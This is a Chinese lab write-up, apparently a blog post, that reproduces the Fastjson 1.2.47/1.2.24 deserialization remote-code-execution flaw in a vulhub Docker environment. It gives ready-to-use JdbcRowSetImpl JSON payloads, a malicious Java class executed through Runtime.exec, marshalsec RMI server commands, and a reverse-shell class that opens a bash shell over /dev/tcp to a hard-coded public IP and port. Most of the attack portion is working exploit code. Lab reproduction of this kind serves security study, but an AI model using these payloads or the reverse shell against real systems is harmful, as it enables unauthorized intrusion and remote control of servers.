张小白的实验室Fastjson1.2.47反序列化漏洞复现

实验环境

攻击机C:Windows 10 企业版 LTSC

靶机A:CentOS8 (公网)

监听主机B:Centos7(公网)

项目地址:

https://github.com/vulhub/vulhub

该篇复现环境是fastjson1.2.47,复现手法同时适用于fastjson1.2.24,payload已在下文提供

 

基础环境搭建

    在靶机A上安装docker

curl https://download.docker.com/linux/centos/docker-ce.repo -o /etc/yum.repos.d/docker-ce.repoyum install https://download.docker.com/linux/fedora/30/x86_64/stable/Packages/containerd.io-1.2.6-3.3.fc30.x86_64.rpmyum install docker-cesystemctl start docker

    更换镜像源

vi /etc/docker/daemon.json

 

    修改文件内容,镜像源地址可以用阿里云的镜像地址,百度的镜像源会有一个包下载很慢。自己登陆阿里云获取

{        "registry-mirrors": ["https://xxxxx.mirrors.aliyun.com"]}

保存退出之后,重新加载配置,重启docker

systemctl daemon-reloadsystemctl restart docker

摘取镜像

docker pull busybox

成功打印出"hello world"说明配置成功

docker run busybox echo “hello world”

到此docker配置完成

接下来部署实验环境

 

 

实验环境搭建

项目地址

https://github.com/vulhub/vulhub

下载后上传至靶机A任意目录,进入目录

vulhub-master/fastjson/1.2.47-rce

启动docker编译

docker-compose up -d

 

PS

很多人pip装不上,这里的方法亲测有效;

yum install -y python38wget https://bootstrap.pypa.io/get-pip.pysudo  python3 get-pip.pypip -versionpip install docker-compose

 

 

 

 

在监听主机B上安装Tomcat,远程加载恶意类。

拉取docker镜像

docker pull rightctrl/tomcat

映射到服务器8080端口

docker run -d --name tomcat -p 8080:8080 rightctrl/tomcat
访问http://ip:8080

 
把编译好的恶意类拷贝进docker环境,具体路径进入docker查找
docker cp TouchFile.class  tomcat:/opt/tomcat/webapps/
TouchFie.class的java源码如下:
import java.lang.Runtime;import java.lang.Process;public class TouchFile {    static {        try {            Runtime rt = Runtime.getRuntime();            String[] commands = {"touch", "/tmp/success"};            Process pc = rt.exec(commands);            pc.waitFor();        } catch (Exception e) {            // do nothing        }    }}
上传成功后确认可以访问TouchFile.class

继续在监听主机B上使用marshalsec快速开启rmi或ldap服务
marshalsec项目地址
https://github.com/mbechler/marshalsec
使用maven编译jar包
mvn clean package -DskipTests
进入target目录,并开启rmi或者ladp服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://恶意类的IP:8080/#TouchFile 8088

 

 

复现步骤

 

攻击机C上直接访问搭好的漏洞环境

payload

 

//1.2.24以下版本{    "a":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://ip:8088/TouchFile",        "autoCommit":true    }}//1.2.47以下版本{"a":{        "@type":"java.lang.Class",        "val":"com.sun.rowset.JdbcRowSetImpl"    },    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://ip:8088/TouchFile",        "autoCommit":true    }}

 发送请求后,rmi服务器收到响应,远程加载恶意类TouchFile.class

可以看到已经成功执行touch /tmp/success

 

 

同理可反弹shell

反弹shell文件(除了远程加载的恶意类不同,其他操作均相同)

import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;public class Exploit{    public Exploit() throws Exception {        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/175.24.81.132/9999;cat <&5 | while read line; do $line 2>&5 >&5; done"});        InputStream is = p.getInputStream();        BufferedReader reader = new BufferedReader(new InputStreamReader(is));        String line;        while((line = reader.readLine()) != null) {            System.out.println(line);        }        p.waitFor();        is.close();        reader.close();        p.destroy();    }    public static void main(String[] args) throws Exception {    }}

在监听主机B上同时用NC监听端口

 

成功拿shell

 

 

 

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值